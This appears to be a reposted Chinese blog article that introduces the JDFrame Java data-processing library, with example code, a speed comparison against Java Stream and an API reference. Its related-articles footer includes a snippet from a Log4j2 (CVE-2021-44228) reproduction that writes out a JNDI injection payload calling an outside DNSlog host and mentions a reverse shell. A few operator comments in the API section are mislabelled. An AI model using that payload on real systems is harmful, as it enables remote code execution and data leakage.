JDFrame 一款比 Java 8 Stream 更灵活的数据处理工具

news2024/11/14 14:01:37

一、JDFrame 介绍

在大数据处理领域,Apache Spark以其强大的分布式计算能力和丰富的数据处理API而广受好评。然而,在许多日常的软件开发场景中,我们面临的数据量可能并不需要Spark这样的分布式系统来处理。相反,我们更希望有一种工具能够在单机环境下提供类似Spark的便捷数据处理能力。Java 8Stream API虽然提供了一种简化的数据处理方式,但在复杂的数据转换和操作上,它仍显得有些力不从心。正是在这样的需求背景下,JDFrame应运而生。JDFrame借鉴了SparkAPI设计理念,为Java开发者提供了一套比Java Stream更为强大和灵活的流式数据处理工具。

JDFrame的核心优势之一是其丰富的API。它不仅包含了Java 8 Stream的基础操作,还增加了更多高级数据处理功能,如窗口函数、复杂条件过滤、自定义聚合,以及类似SQL的分组、聚合和连接操作。这些额外的功能使得JDFrame能够轻松应对复杂的数据操作需求,为开发者提供了更大的灵活性和便利性。

总之就是你可以使用SQL处理的思路去处理数据。

Githb 地址:https://github.com/burukeYou/JDFrame

使用示例:

添加依赖:

<dependency>
    <groupId>io.github.burukeyou</groupId>
    <artifactId>jdframe</artifactId>
    <version>0.0.4</version>
</dependency>
public class JdframeTest {

    @Data
    @AllArgsConstructor
    @NoArgsConstructor
    public static class UserVO {
        private int id;
        private String name;
        private Integer age;
        private Integer score;
    }

    private static final List<UserVO> userVOS = Arrays.asList(
            new UserVO(1, "张三", 20, 90),
            new UserVO(2, "李四", 21, 92),
            new UserVO(3, "王五", 30, 95),
            new UserVO(4, "赵六", 15, 85),
            new UserVO(5, "小明", 32, 88),
            new UserVO(6, "小红", 18, 94),
            new UserVO(7, "小兰", 19, 75),
            new UserVO(8, "小青", 12, 60),
            new UserVO(9, "小王", 16, 34),
            new UserVO(10, "小李", 17, 49),
            new UserVO(11, "张三", 19, 59)
    );

    public static void main(String[] args) {
        System.out.println("查看分数在 60 - 90 之间的姓名、分数的 Top5");
        SDFrame<FI2<String, BigDecimal>> sdf1 = SDFrame.read(userVOS)
                .whereNotNull(UserVO::getScore) // 不为空
                .whereBetween(UserVO::getScore, 60, 90) // 范围过滤
                .groupBySum(UserVO::getName, UserVO::getScore) // 聚合求和
                .sortDesc(FI2::getC2) // 根据值降序排列
                .cutFirst(5); // 保留 Top5
        sdf1.show(); // 查看数据

        System.out.println("查看姓名中 张 开头的信息");
        SDFrame<UserVO> sdf2 = SDFrame.read(userVOS)
                .whereNotNull(UserVO::getName) // 不为空
                .whereLikeLeft(UserVO::getName, "张"); // 模糊查询
        sdf2.show();

        System.out.println("查看80分以上的平均年龄");
        BigDecimal sdf3 = SDFrame.read(userVOS)
                .whereNotNull(UserVO::getAge) // 不为空
                .whereNotNull(UserVO::getName) // 不为空
                .whereGt(UserVO::getScore,80) // 分数大于80
                .avg(UserVO::getAge); // 计算平均
        System.out.println(sdf3);

    }

}

运行结果:

在这里插入图片描述

二、JDFrame VS Java Stream

JDFrame 在功能上要比 Java Stream 强大,在性能上相比呢,下面构建一千万条数据,进行分组计算后取 Top 数据,看谁处理的更快:

public class JdframePropertyTest {

    @Data
    @AllArgsConstructor
    @NoArgsConstructor
    public static class UserVO {
        private int id;
        private String name;
        private Integer age;
        private Integer score;
    }

    public static void main(String[] args) {
        List<UserVO> userVOS = new ArrayList<>();
        Random random = new Random();
        // 构造一千万条数据
        for (int i = 0; i < 10000000; i++) {
            userVOS.add(new UserVO(1, String.valueOf(i), (random.nextInt(91) + 10), (random.nextInt(71) + 30)));
        }
        System.out.println("准备测试数据完成,当前数据量:"+userVOS.size());
        // 根据每个年龄进行分组求和,最后取出分数最大的 top5 的年龄和总分数
        // java stream 处理
        System.out.println("开始 java stream 处理。。。");
        long t1 = System.currentTimeMillis();
        List<Map.Entry<Integer, Integer>> streamTop = userVOS.stream()
                .filter(Objects::nonNull)
                .filter(u -> Objects.nonNull(u.getAge()))
                .filter(u -> Objects.nonNull(u.getScore()))
                .collect(Collectors.groupingBy(UserVO::getAge, Collectors.summingInt(UserVO::getScore)))
                .entrySet()
                .stream()
                .sorted(Map.Entry.<Integer, Integer>comparingByValue().reversed())
                .limit(5)
                .collect(Collectors.toList());
        System.out.println("java stream 耗时:" + (System.currentTimeMillis() - t1) + " , 结果如下:");
        streamTop.forEach(map -> System.out.println("age: " + map.getKey() + " , score: " + map.getValue()));
        streamTop.clear();

        System.out.println("开始 jdFrame 处理。。。");
        t1 = System.currentTimeMillis();
        List<FI2<Integer, BigDecimal>> jdFrameTop = SDFrame.read(userVOS)
                .whereNotNull(UserVO::getAge)
                .whereNotNull(UserVO::getScore)
                .groupBySum(UserVO::getAge, UserVO::getScore)
                .sortDesc(FI2::getC2)
                .cutFirst(5)
                .toLists();
        System.out.println("jdFrame 耗时:" + (System.currentTimeMillis() - t1) + " , 结果如下:");
        jdFrameTop.forEach(fi2 -> System.out.println("age: " + fi2.getC1() + " , score: " + fi2.getC2()));
    }

}

在这里插入图片描述

从结果上看,JDFrame 的速度逊色一些,但如果你处理数据量不大的情况,JDFrame 确实是一个非常好的工具。

比如数据量在一百万的时候,差距明显减少:

在这里插入图片描述

下面可以学习下 JDFrameApi

三、JDFrame Api

3.1 Where 条件过滤

3.1.1 精确过滤
SDFrame.read(userVOS)
        // is not nll
        .whereNotNull(UserVO::getName)
        // =
        .whereEq(UserVO::getName, "张三")
        // != , <>
        .whereNotEq(UserVO::getName, "李四");
3.1.2 模糊过滤
SDFrame.read(userVOS)
        // like "%小%"
        .whereLike(UserVO::getName, "小")
        // like "小%"
        .whereLikeLeft(UserVO::getName, "小")
        // like "%小"
        .whereLikeRight(UserVO::getName, "小");
3.1.3 范围过滤
SDFrame.read(userVOS)
        // >
        .whereGt(UserVO::getScore, 60)
        // >=
        .whereGe(UserVO::getScore, 60)
        // <
        .whereLe(UserVO::getScore, 60)
        // <=
        .whereLt(UserVO::getScore, 60)
        // >= and <=
        .whereBetween(UserVO::getScore, 60, 80)
        // > and <=
        .whereBetweenR(UserVO::getScore, 60, 80)
        // >= and <
        .whereBetweenL(UserVO::getScore, 60, 80)
        // in
        .whereIn(UserVO::getScore, Arrays.asList(60, 70, 80))
        // not in
        .whereNotIn(UserVO::getScore, Arrays.asList(60, 70, 80));

3.2 数据统计

3.2.1 分组求和
JDFrame<UserVO> frame = JDFrame.read(userVOS);
// select name,sum(score) from userVOs group by name
frame.groupBySum(UserVO::getName, UserVO::getScore);

// select name,age,sum(score) from userVOs group by name, age
frame.groupBySum(UserVO::getName, UserVO::getAge, UserVO::getScore);
3.2.2 分组求最大最小值
JDFrame<UserVO> frame = JDFrame.read(userVOS);

// select name,max(age) from userVOs group by name
frame.groupByMaxValue(UserVO::getName, UserVO::getScore);

// 和 groupByMaxValue 一致,拿到的是对象
frame.groupByMax(UserVO::getName, UserVO::getScore);

// select name,min(score) from userVOs group by name
frame.groupByMinValue(UserVO::getName, UserVO::getScore);

// 和 groupByMinValue 一致,拿到的是对象
frame.groupByMaxMin(UserVO::getName, UserVO::getScore);
3.2.3 分组计数
JDFrame<UserVO> frame = JDFrame.read(userVOS);

// select count(1) from userVOs group by name
frame.groupByCount(UserVO::getName);

// select count(1) from userVOs group by name, age
frame.groupByCount(UserVO::getName, UserVO::getAge);

// select count(1) from userVOs group by name, age, score
frame.groupByCount(UserVO::getName, UserVO::getAge, UserVO::getScore);

// select name,sum(score),count(1) from userVOs group by name
frame.groupBySumCount(UserVO::getName, UserVO::getScore);
3.2.4 整体统计
JDFrame<UserVO> frame = JDFrame.read(userVOS);
// select max(score) from userVOs
frame.maxValue(UserVO::getScore);
// 和 maxValue 一致,拿到的是对象
frame.max(UserVO::getScore);
// select min(score) from userVOs
frame.minValue(UserVO::getScore);
// 和 minValue 一致,拿到的是对象
frame.min(UserVO::getScore);
// select avg(score) from userVOs
frame.avg(UserVO::getScore);
// select sum(score) from userVOs
frame.sum(UserVO::getScore);
// select max(score),min(score) from userVOs
frame.maxMinValue(UserVO::getScore);
// 和 maxMinValue 一致,可以拿到对象
frame.maxMin(UserVO::getScore);

3.3 排序

JDFrame<UserVO> frame = JDFrame.read(userVOS);
// select * from userVOS order by score desc
frame.sortDesc(UserVO::getScore);
// select * from userVOS order by age asc
frame.sortAsc(UserVO::getAge);
// select * from userVOS order by score asc, age asc
frame.sortDesc(Sorter.sortDescBy(UserVO::getScore).sortAsc(UserVO::getAge));
// 自定义排序规则
frame.sortAsc(Comparator.comparing(e -> {
    if (e.getAge() > 20 && e.getScore() > 80) {
        return 1;
    } else {
        return 0;
    }
}));

3.4 去重

JDFrame<UserVO> frame = JDFrame.read(userVOS);
// 根据对象去重
frame.distinct();
// 根据某个字段去重
frame.distinct(UserVO::getName);
// 根据多个字段,先后去重
frame.distinct(UserVO::getName).distinct(UserVO::getAge);

3.5 join 连接

JDFrame<UserVO> frame1 = JDFrame.read(userVOS);
JDFrame<UserVO> frame2 = JDFrame.read(userVOS);
// 内连接
JDFrame<UserVO> join = frame1.join(frame2, (f1, f2) -> Objects.equals(f1.getId(), f2.getId()), (f1, f2) -> {
    // 具体合并曹组
    f1.setName(f2.getName());
    return f1;
});
// 左连接
JDFrame<UserVO> leftJoin = frame1.leftJoin(frame2, (f1, f2) -> Objects.equals(f1.getId(), f2.getId()), (f1, f2) -> {
    // 具体合并曹组
    f1.setName(f2.getName());
    return f1;
});
// 右连接
JDFrame<UserVO> rightJoin = frame1.rightJoin(frame2, (f1, f2) -> Objects.equals(f1.getId(), f2.getId()), (f1, f2) -> {
    // 具体合并曹组
    f1.setName(f2.getName());
    return f1;
});

3.6 其他操作

JDFrame<UserVO> frame = JDFrame.read(userVOS);
// 打印数据
frame.show();
// 获取表头
frame.columns();
// 获取某一列数据
frame.col(UserVO::getName);
// 获取第一条数据
frame.head();
// 获取前 5 数据
frame.head(5);
// 获取最后一个数据
frame.tail();
// 获取最后5条数据
frame.tail(5);
// 分页获取数据
frame.page(1, 5);

// JDFrame 新增数据
frame.append(new UserVO(12, "小九", 19, 59));
// 多个 JDFrame 合并数据
frame.union(JDFrame.read(userVOS));

// 数据截取
// 截取前5个数据
frame.cutFirst(5);
// 截取最后5个数据
frame.cutLast(5);
// 指定范围截取
frame.cut(2, 5);
// 分页截取
frame.cutPage(1, 5);

// 数据拆分, 分为 5 个一组
frame.partition(5);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1967539.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

聊聊ChatGLM2-6B模型的微调

概述 GLM、ChatGLM的相关基础知识说明&#xff1a; GLM模型底层还是基于Transformer&#xff0c;因此其设计、优化都是围绕Transformer的各个组件的。从注意力层的掩码、位置编码等方面优化与设计。ChatGLM3/ChatGLM2的源码中&#xff0c;比如finetune、trainer等代码&#x…

看不见的硝烟:中国网络安全三十年沉浮史

昆仑侠 锦缎 2022 年 05 月 20 日 本文系基于公开资料撰写&#xff0c;仅作为信息交流之用&#xff0c;不构成任何投资建议。 2022 年 5 月 16 日&#xff0c;俄罗斯黑客组织 KillNet 向包括美国、英国、德国在内 10 个国家的政府正式 “宣战”。 2022 年 4 月 28 日&#xf…

vue如何在组件中监听路由参数的变化

使用 watch 监听 $route 对象 的变化&#xff0c;从而捕捉路由参数的变化 beforeRouteUpdate 导航守卫 当前组件路由更新时调用 beforeRouteUpdate 钩子只在组件被复用时调用&#xff0c;即当组件实例仍然存在时。如果组件是完全重新创建的&#xff0c;那么应该使用 beforeR…

GD 32 滤波算法

GD32硬件滤波算法 程序代码&#xff1a; #include <stdint.h> #include <stdio.h> #include "gd32f30x.h" #include "delay.h"static void GpioInit(void) {rcu_periph_clock_enable(RCU_GPIOC);gpio_init(GPIOC, GPIO_MODE_AIN, GPIO_OSPEED_…

log4j2远程执行代码CVE-2021-44228复现

一.访问网址 发现 /solr/admin/cores?action参数 可以上传 如下图 步骤二 在dnslog平台上来监控我们注入的效果 上传参数 solr/admin/cores?action${jndi:ldap://${sys:java.version}.jxmxiy.dnslog.cn 获得java版本号 查看他的回显 开始准备反弹shell 下载JDNI&#xff0c…

编程语言 | C | 代码整理 | 4月

八月拍了拍你&#xff0c;并对你说&#xff1a;“好运就要开始了”&#xff01; 目录 编程语言 | C | 代码整理 | 4月2019/4/12019/4/22019/4/22019/4/32019/4/42019/4/52019/4/62019/4/72019/4/82019/4/92019/4/102019/4/112019/4/122019/4/132019/4/142019/4/152019/4/162019…

【简历】武汉某985大学:前端简历指导,拿offer可能性低

注&#xff1a;为保证用户信息安全&#xff0c;姓名和学校等信息已经进行同层次变更&#xff0c;内容部分细节也进行了部分隐藏 简历说明 这是一份985武汉某大学25届的前端简历&#xff0c;那么985面向的肯定是大厂的层次&#xff0c;但是作为前端简历&#xff0c;学校部分&a…

Jenkins的安装方式

一、Jenkins是什么 Jenkins是一款开源CI&CD软件&#xff0c;用于自动化构建、测试和部署软件等各种任务&#xff0c;以实现持续集成。 Jenkins支持各种运行方式&#xff0c;可通过系统包、Docker或者通过一个独立的Java程序。 二、安装方式 2.1禅道智能应用平台一键安装…

区间预测 | 光伏出力的区间预测(Matlab)

区间预测 | 光伏出力的区间预测&#xff08;Matlab&#xff09; 目录 区间预测 | 光伏出力的区间预测&#xff08;Matlab&#xff09;效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.适用于matlab2020及以上。可任意选择置信区间&#xff0c;区间覆盖率picp、区间平均…

入门Pandas必练习100题基础到进阶|阶级教程2

作者:郭震 51. How to get the row number of the nth largest value in a column? Find the row position of the 5th largest value of column a in df. # input df pd.DataFrame(np.random.randint(1, 30, 30).reshape(10,-1), columnslist(abc)) df# Solution 1# argsort…

Modelsim仿真Vivado IP核报错

问题 VIVADO版本为2017.2&#xff0c;Modelsim版本为10.7c 在vivado中调用modelsim仿真&#xff0c;出现报错“Module GND is not defined.”&#xff0c;“Module LUT4 is not defined.”等等一大堆&#xff0c;所有的IP核都是这样的报错。 由于问题已经解决了所以我没有报…

基于Flask的出租车、GPS轨迹数据分析可视化系统

文章目录 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主项目介绍技术路线内容介绍数据预处理系统界面可视化展示每文一语 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主 项目介绍 针对杭州市出租车GPS数据的分析&…

万虹商城电影售票系统设计与实现

1 项目介绍 1.1 摘要 在如今高速发展的社会&#xff0c;电影产业蓬勃发展&#xff0c;人们对电影的需求日益增加&#xff0c;导致电影售票系统需要更加高效、便捷地满足观众的购票需求。传统的电影售票方式伴随着一系列的问题&#xff0c;排队购票现象是最为突出和普遍的现象…

拥抱简约之美,浦东TOP5装修公司打造现代风尚空间

在浦东地区&#xff0c;现代简约风格因其清新、实用的特点而深受居民喜爱。以下是五大装修公司&#xff0c;它们专注于打造现代风尚的居住空间&#xff1a; 1&#xff0e;即住空间装饰 设计理念&#xff1a;即住空间装饰以"高效、省心、精工"为核心理念&#xff0c…

【LeetCode每日一题】长度最小的子数组

【LeetCode每日一题】长度最小的子数组 标签: 二分&#xff0c;前缀和&#xff0c;滑动窗口&#xff0c;双指针 前缀和&二分 target要大于等于子数组nums[l]到nums[r]这段连续区间的和&#xff0c;因此想到用前缀和sums[r]-sums[l-1]可以快速求得区间和。 如何寻找targ…

1.DM8下载与安装

下载地址&#xff1a;产品下载 | 达梦数据库 DM8的安装与卸载&#xff0c;请参考课件资料中的《DM8 Install.pdf》。 2.DM8管理工具 更多的DM8管理工具请查看官方文档。 2.1.DM服务查看器 DM 服务查看器&#xff0c;顾名思义是对数据库服务进行查看管理的工具。通过服务查看…

JNDI-反序列化

参考博客&#xff1a; JNDI注入与动态类加载 分析版本 jdk8u201 流程分析 在前面JNDI-ldap绕过分析中提到&#xff0c;存在ldap原生反序列化利用点。 再回顾一下&#xff0c;在deserializeObject private static Object deserializeObject(byte[] var0, ClassLoader var…

Linux 命令,grep 说明与使用

1&#xff1a;grep命令功用&#xff1a; 一种强大的文本搜索工具&#xff0c;在一个或多个fles中搜索与正则表达式pattern相匹配的行。 如果有匹配行&#xff0c;则退出状态是0;如果没有匹配的行&#xff0c;则退出状态是1;有错误时退出状态是2。 2&#xff1a;命令构件: grep…

TypeScript 安装教程

安装TypeScript 下载并安装Node.js使用npm全局安装 npm install -g typescript版本查询 tsc -v 安装成功&#xff0c;但是执行tsc -v 命令&#xff0c;查看安装的ts版本时报错&#xff1a; tsc : 无法加载文件 D:\nodejs\node_global\tsc.ps1&#xff0c;因为在此系统上禁止…

软件测试之测试用例总结【含模板】

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、通用测试用例八要素   1、用例编号&#xff1b;    2、测试项目&#xff1b;   3、测试标题&#xff1b; 4、重要级别&#xff1b;    5、预置条件…